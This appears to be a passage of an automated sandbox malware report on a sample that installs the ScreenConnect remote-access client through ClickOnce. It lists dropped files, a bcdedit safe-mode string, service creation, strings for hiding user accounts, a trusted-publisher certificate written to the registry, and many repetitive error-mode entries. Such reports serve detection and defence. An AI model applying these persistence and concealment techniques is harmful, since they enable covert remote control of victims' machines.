Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A7845E push eax; ret	8_2_00007FF9C1A7846D
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A7842E pushad ; ret	8_2_00007FF9C1A7845D
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A62E40 pushad ; ret	8_2_00007FF9C1A62E73
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A78071 pushad ; retf	8_2_00007FF9C1A7809D
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1A630B2 pushad ; iretd	8_2_00007FF9C1A630B3
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Code function: 8_2_00007FF9C1D5B055 push eax; ret	8_2_00007FF9C1D5B089

Persistence and Installation Behavior

Drops PE files

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_e9b66cfe0ceec305\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..dows_4b14c015c87c1ad8_0018.0004_none_5818e70d39ed8031\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..core_4b14c015c87c1ad8_0018.0004_none_53a10f2bfd9f6d01\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..vice_4b14c015c87c1ad8_0018.0004_none_04f4a774935ed06c\ScreenConnect.ClientService.dll	Jump to dropped file

May use bcdedit to modify the Windows boot settings

Source: ScreenConnect.ClientService.dll.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}

Boot Survival

Creates or modifies windows services

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1325166034.0000000002410000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000008.00000002.1325286877.00000000026EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.exe, 00000009.00000002.1289094143.0000000005582000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.exe, 00000009.00000002.1289884811.0000000005CA2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Stores large binary data to the registry

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
